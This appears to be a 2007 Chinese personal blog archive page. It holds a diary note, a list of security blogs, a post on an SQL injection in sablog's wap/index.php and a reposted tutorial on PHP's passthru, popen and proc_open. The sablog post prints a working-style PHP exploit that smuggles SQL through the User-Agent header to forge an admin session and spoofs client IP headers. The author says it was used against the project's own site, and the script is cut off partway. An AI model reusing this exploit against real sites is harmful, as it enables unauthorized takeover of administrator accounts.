存档:2007年十一月

感受冬日

十一月 29, 2007 | 数据结构算法 | RSS 2.0

 今天跑步上班,很早的,才刚刚七点我都爬起来,走在林荫的小路上开到飘落的落叶,才感觉到冬日的凉意,来北京已经几天了,真的开始有点喜欢上这里,这里的文明,这里的方便,呼吸着清新的空气,丝毫感觉不到这样大的城市被现代工业化污染过,我说的是我住的地方,呵呵。好好工作,积极锻炼身体

没有评论 »

暂时记几个博客

十一月 9, 2007 | 网站架构 | RSS 2.0

http://amxku.net/flashfxp-password/
http://www.icylife.net/yunshu/index.php?sortid=2&page=2
http://cnhawkwing.javaeye.com/blog/69100
http://ghostking.blog.china.com/200710/1052835.html
看的出都是个牛人

没有评论 »

比较好的东东

十一月 8, 2007 | linux | RSS 2.0

sablog是国内安全研究人员写的一款blog程序,但是代码中有一点瑕疵导致可能被获取管理员权限:)

问题出在wap/index.php里的652行左右

————
      $hash = getuserhash($user['userid'], $user['username'], $user['password'], $user['logincount']+1);
      $DB->query(”delete FROM {$db_prefix}sessions where uid=’”.$user['userid'].”‘ or lastactivity+3600<’$timestamp’ or hash=’$hash’”);
      $DB->query(”insert INTO {$db_prefix}sessions (hash,uid,groupid,ipaddress,agent,lastactivity) VALUES (’$hash’, ’”.$user['userid'].”‘, ’”.$user['groupid'].”‘, ’$onlineip’, ’”.$_SERVER['HTTP_USER_AGENT'].”‘, ’$timestamp’)”);
————-

注意_SERVER变量是直接入库的,存在一个insert类型的注射,我们通过这个漏洞测试过了官方,顺利拿到了所有权限,呵呵.

这个地方要求是php5的,作者一时疏忽吧,贴出我们当时使用的exp

<?php
//from    loveshell.net
$url    =    $argv[1].'/wap/index.php';
$username    =    $argv[2];
$password    =    $argv[3];

echo"    +----------------------------------------------------------------+";
echo
"        Uage:    php.exe    blogurl    username    password";
echo
"        example    php.exe    http://www.loveshell.net/blog    test    test";
echo
"    +----------------------------------------------------------------+";

if(!$username||!$password)    die;

echo"    root@localhost:Post    our    content";

$str    =    'username='.$username.'&password='.$password.'&action=login&do=login&';

$msg    =    myrequest($str,$url);
echo    
$msg;

if(strpos($msg,'登陆成功')!==false)    echo"    root@localhost:All    Done!!!    ";
else    echo
"    root@localhost:Login    error!!!    ";
echo
"    +----------------------------------------------------------------+";
echo
"    Enjoy    yourself.";
echo
"    +----------------------------------------------------------------+";

function    myrequest($msg,$url,$type=2,$cookie=''){
//change    type    for    post/get
    
global    $sql;
$urls    =    initurl($url);
$iprand    =    rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255);
$fp    =    @fsockopen($urls['host'],    $urls['port'],    $errno,    $errstr,    3);
    if(
$fp)    {
        if(
$type==1){
        
fputs($fp,    "GET    $urls[path]?$urls[query]    HTTP/1.1");
        
fputs($fp,    "Host:    $urls[host]");
        
fputs($fp,    "Accept:    */*");
        
fputs($fp,    "Referer:    $urls[url]");
        
fputs($fp,    "User-Agent:    Mozilla/4.0    (compatible;    MSIE    5.00;    Windows    98)");
        
fputs($fp,    "CLIENT_IP:    $iprand");
        
fputs($fp,    "X_FORWARDED-FOR:    $iprand");
        
fputs($fp,    "Pragma:    no-cache");
        
fputs($fp,    "Cache-Control:    no-cache");
        
fputs($fp,    "Connection:    Keep-Alive");
        
fputs($fp,    "Cookie:    $cookie");
        }else{
        
fputs($fp,    "POST    $urls[path]?$urls[query]    HTTP/1.1");
        
fputs($fp,    "Accept:    application/x-shockwave-flash,    image/gif,    image/x-xbitmap,    image/jpeg,    image/pjpeg,    */*");
        
fputs($fp,    "Referer:    $urls[url]");
        
fputs($fp,    "Accept-Language:    zh-cn");
        
fputs($fp,    "Content-Type:    application/x-www-form-urlencoded");
//        fputs($fp,    "User-Agent:    ',1),((select    concat(0x2f,groupid,0x2f,logincount)    from    angel_users    limit    1),1,1,'211.43.206.208','123");
        
fputs($fp,    "User-Agent:    ',1),('9c5b71e5',1,1,'211.43.206.202','9989581653");
        
fputs($fp,    "CLIENT_IP:    $iprand");
        
fputs($fp,    "X_FORWARDED-FOR:    $iprand");
        
fputs($fp,    "Host:    $urls[host]");
        
fputs($fp,    "Content-Length:    ".strlen($msg)."");
        
fputs($fp,    "Connection:    Keep-Alive");
        
fputs($fp,    "Cache-Control:    no-cache");
        
fputs($fp,    "Cookie:    $cookie");
        
fputs($fp,    $msg."");
        }
    }

while($fp&&!feof($fp))    {
$resp    .=    fread($fp,1024);
}
return    
$resp;
}

function    initurl($url)    {

$newurl    =    '';
$blanks    =    array('url'=>'');
$urls    =    $blanks;

if(strlen($url)<10)    return    $blanks;
$urls    =    @parse_url($url);
if(empty(
$urls)    ||    !is_array($urls))    return    $blanks;
if(empty(
$urls['scheme']))  &nbsp ...

没有评论 »

使用proc_open()打开一个指向进程的管道,发送手机视频广告(转)

十一月 6, 2007 | mysql | RSS 2.0

使用proc_open()打开一个指向进程的管道,发送手机视频广告

2007-04-13 17:17

       手机视频广告,用PHP发送视频广告,需要通过PHP执行一个外部发送视频命令。

       可以写PHP扩展来完成,本人没有那个能力及时间,故使用exec()这个函数来完成。

       passthru(),exec(),system() 这三个函数功能相似.passthru无法接受输出值,system只接收最后以行输出,exec可以完全接收输出.

       见如下passthru的一个例子:

文件名称:../passthru.php

  1. <?php
  2. ob_start();
  3. ignore_user_abort();    // run script in background
  4. set_time_limit(0);        // run script forever
  5. echo ‘单独dddd’;
  6. ob_end_clean();
  7. passthru(’python E:/webroot/test/dtree.py’, $return_var);
  8. $output = ob_get_contents();
  9. ob_end_clean();
  10. echo $output;
  11. //数据保存
  12. file_put_contents(’output.txt’, $output);
  13. file_put_contents(’return.txt’, $return_var);
  14. die();
  15. ?>

       使用如上的方法,当发送若干视频广告时候,需要使用exec调用若干次发送程序,或者让发送程序一次接收若干手机号码,有发送程序循环处理.

       较好的办法是打开一个指向进程的管道,然后每次发送一个广告,如下:

文件名称:../popen.php

  1. <?php
  2. ignore_user_abort();    // run script in background
  3. set_time_limit(0);        // run script forever
  4. //popen是单向的,如果需要双向支持,使用 proc_open()。
  5. $handle = popen(’python E:/webroot/test/dtree.py’, ‘r’);
  6. while(!feof($handle))
  7. {
  8.     $buffer .= fread($handle, 1024);
  9. }
  10. pclose($handle);
  11. echo $buffer;
  12. //数据保存
  13. file_put_contents(’output.txt’, $buffer);
  14. die();
  15. //写入的例子
  16. //$handle = popen (”python”,”w”);
  17. //fwrite($handle, ‘3 + 6′);
  18. //pclose($handle);
  19. ?>

       popen() 它是单向的(只能用于读或写),我们需要获得发送结果,proc_open()来完成双向支持功能:

文件名称:../proc_open.php

  1. <?php
  2. ignore_user_abort();    // run script in background
  3. set_time_limit(0);        // run script forever
  4. $descriptorspec = array(
  5.                            0 => array(’pipe’, ‘r’),
  6.                            1 => array(’pipe’, ‘w’),
  7.                            2 => array(’file’, ‘c:/temp/error-output4.txt’, ‘w’)
  8.                              );
  9. $cwd = ‘D:/Python24/’;
  10. $env = array(’some_option’ => ‘aeiou’);
  11. $process = proc_open(’python.exe’, $descriptorspec, $pipes, $cwd, $env);
  12. if (is_resource($process))
  13. {
  14.     // $pipes now looks like this:
  15.          // 0 => writeable handle connected to child stdin
  16.          // 1 => readable handle connected to child stdout
  17.          // Any error output will be appended to /tmp/error-output.txt
  18.          //echo stream_get_contents($pipes[1]);
  19.     fwrite($pipes[0], “print 61+10″);
  20.     fwrite($pipes[0], “print 31+10″);
  21.     fwrite($pipes[0], “print 41+10″);
  22.     fwrite($pipes[0], “print 61+10″);
  23.     fclose($pipes[0]);
  24.     //echo stream_get_contents($pipes[1]);
  25.     $buffer = ”;
  26.          while(!feof($pipes[1]))
  27.          {
  28.         $buffer .= fgets($pipes[1], 1024);
  29.          }
  30.     fclose($pipes[1]);
  31.          echo $buffer;
  32.     //数据保存
  33.     file_put_contents(’output.txt’, $buffer);
  34.     //返回值为1,则发生语法错误!
  35.     $return_value = proc_close($process);
  36.     
  37.          echo “command returned $return_value”;
  38. }
  39. ?>

没有评论 »